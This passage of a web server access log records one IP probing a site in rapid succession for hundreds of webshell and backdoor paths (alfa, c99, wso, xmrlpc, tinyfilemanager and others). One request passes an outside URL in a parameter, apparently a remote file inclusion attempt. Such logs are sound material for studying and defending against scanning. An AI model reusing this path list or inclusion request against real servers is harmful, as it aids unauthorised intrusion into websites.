"GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:34 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:36 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:40 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:43 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:45 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:46 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:48 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:50 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:50 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:52 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:52 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:53 -0400] "GET /dxc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:54 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:56 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:57 -0400] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:58 -0400] "GET /fied.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:59 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:00 -0400] "GET /class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:00 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:01 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:02 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:03 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:03 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:04 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:05 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:06 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:07 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:07 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:08 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:09 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:09 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:11 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:13 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:14 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:15 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:16 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:20 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:23 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:25 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:26 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:27 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:28 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:29 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:30 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:31 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:31 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:32 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:34 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:34 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:35 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:37 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:38 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:39 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:39 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:40 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:43 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:45 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:46 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:47 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:48 -0400] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:50 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:53 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:54 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:57 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:58 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:38:59 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:01 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:02 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:03 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:05 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:06 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:07 -0400] "GET /wp-includes/SimplePie/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:09 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:10 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:10 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:12 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:14 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:15 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:16 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:17 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:18 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:19 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:20 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:22 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:24 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:25 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:26 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:27 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:27 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:28 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:29 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:30 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:32 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:33 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:34 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:34 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:36 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:37 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:38 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:39 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:39 -0400] "GET /admin/uploads/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:40 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:40 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:41 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:42 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:42 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:43 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:43 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:44 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:46 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:49 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:50 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:52 -0400] "GET /wp-content/themes/twentythirteen/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:54 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:56 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:57 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:39:58 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:00 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:04 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:09 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:13 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:16 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:19 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:21 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:23 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:25 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:26 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:28 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:29 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:30 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:32 -0400] "GET /class-wp-cmd.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:33 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:34 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:35 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:35 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:36 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:38 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:39 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:40 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:41 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:42 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:44 -0400] "GET //wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:46 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:49 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:50 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:51 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:52 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:53 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:54 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:55 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:57 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:40:59 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:02 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:03 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:06 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:07 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:09 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:11 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:12 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:12 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:13 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:14 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:14 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:16 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:18 -0400] "GET /.well-known/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:18 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:21 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:24 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:26 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:27 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:29 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 2a03:2880:27ff:1:: - - [30/Apr/2025:05:41:29 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 52.169.106.13 - - [30/Apr/2025:05:41:32 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:34 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:39 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:41 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:43 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:44 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:45 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:45 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:46 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:47 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:49 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:50 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:52 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:53 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:56 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:58 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:41:59 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:01 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:03 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:05 -0400] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:08 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:11 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:14 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:17 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:18 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:20 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:23 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:26 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:29 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:33 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:37 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:39 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:41 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:43 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:46 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:48 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:48 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:50 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:53 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:54 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:55 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:56 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:57 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:57 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:58 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:42:59 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:01 -0400] "GET /wordpress/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:02 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:03 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:05 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:06 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:07 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:08 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:09 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:10 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:12 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:13 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:14 -0400] "GET /cgi-bin/cloud.php 